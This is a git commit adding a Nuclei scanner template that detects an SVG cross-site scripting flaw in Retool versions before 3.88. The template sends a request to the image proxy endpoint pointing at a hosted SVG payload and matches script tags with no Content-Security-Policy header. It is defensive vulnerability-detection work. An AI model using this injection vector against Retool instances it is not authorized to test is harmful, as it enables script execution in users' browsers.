Create retool-xss.yaml

patch-12
Dhiyaneshwaran 2024-10-03 18:53:43 +05:30 committed by GitHub
parent eb8e32c939
commit 7e42e2df92
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 41 additions and 0 deletions

View File

@ -0,0 +1,41 @@
id: retool-xss
info:
name: Retool 3.88 < - SVG XSS
author: iamnoooob,iamnoooob,pdresearch
severity: high
description: |
This template checks for XSS vulnerability via the Image Proxy URL parameter.
reference:
- https://docs.retool.com/releases/edge/3.88#:~:text=Fixed%20an%20SVG%20XSS%20vulnerability%20by%20adding%20a%20CSP.%20(%2349381)
metadata:
verified: true
max-request: 1
fofa-query: body="x-retool"
tags: retool,xss
http:
- raw:
- |
GET /api/imageProxy?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/eb8e32c9393677006c2ea916f2e3010c2bd8e03f/helpers/payloads/retool-xss.svg HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "alert('document.domain');"
- "<?xml version"
- '<script type="text/javascript">'
condition: and
- type: word
part: header
negative: true
words:
- "Content-Security-Policy: default-src 'none';"
- type: status
status:
- 200